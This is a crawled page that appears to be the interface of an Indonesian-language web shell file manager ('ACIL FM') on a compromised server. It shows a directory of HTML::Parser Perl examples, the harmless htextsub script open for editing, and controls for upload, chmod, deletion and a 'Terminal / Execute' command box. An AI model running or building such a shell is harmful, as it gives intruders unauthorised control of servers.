ACIL FM
Dark
Refresh
Current DIR:
/usr/share/doc/perl-HTML-Parser/eg
/
usr
share
doc
perl-HTML-Parser
eg
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
hanchors
1.17 MB
chmod
View
DL
Edit
Rename
Delete
hbody
729 B
chmod
View
DL
Edit
Rename
Delete
hdisable
740 B
chmod
View
DL
Edit
Rename
Delete
hdump
708 B
chmod
View
DL
Edit
Rename
Delete
hform
2.44 MB
chmod
View
DL
Edit
Rename
Delete
hlc
717 B
chmod
View
DL
Edit
Rename
Delete
hrefsub
3 MB
chmod
View
DL
Edit
Rename
Delete
hstrip
1.73 MB
chmod
View
DL
Edit
Rename
Delete
htext
612 B
chmod
View
DL
Edit
Rename
Delete
htextsub
936 B
chmod
View
DL
Edit
Rename
Delete
htitle
461 B
chmod
View
DL
Edit
Rename
Delete
Edit file: /usr/share/doc/perl-HTML-Parser/eg/htextsub
#!/usr/bin/perl # Shows how to mangle all plain text in an HTML document, using an arbitrary # Perl expression. Plain text is all text not within a tag declaration, i.e. # not in <p ...>, but possibly between <p> and </p> # Example (Reverse 'Debian' in all text) : # lynx -dump -source -raw http://www/debian.org > /tmp/a.txt # ./htextsub '$_ =~ s/Debian/Naibed/gi' /tmp/a.txt use strict; use warnings; use HTML::Parser (); my $code = shift || usage(); $code = 'sub edit_print { local $_ = shift; ' . $code . '; print }'; #print $code; eval $code; die $@ if $@; my $p = HTML::Parser->new( unbroken_text => 1, default_h => [sub { print @_; }, "text"], text_h => [\&edit_print, "text"], ); my $file = shift || usage(); $p->parse_file($file) || die "Can't open file $file: $!\n"; sub usage { my $progname = $0; $progname =~ s,^.*/,,; die "Usage: $progname <perlexpr> <filename>\n"; }
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply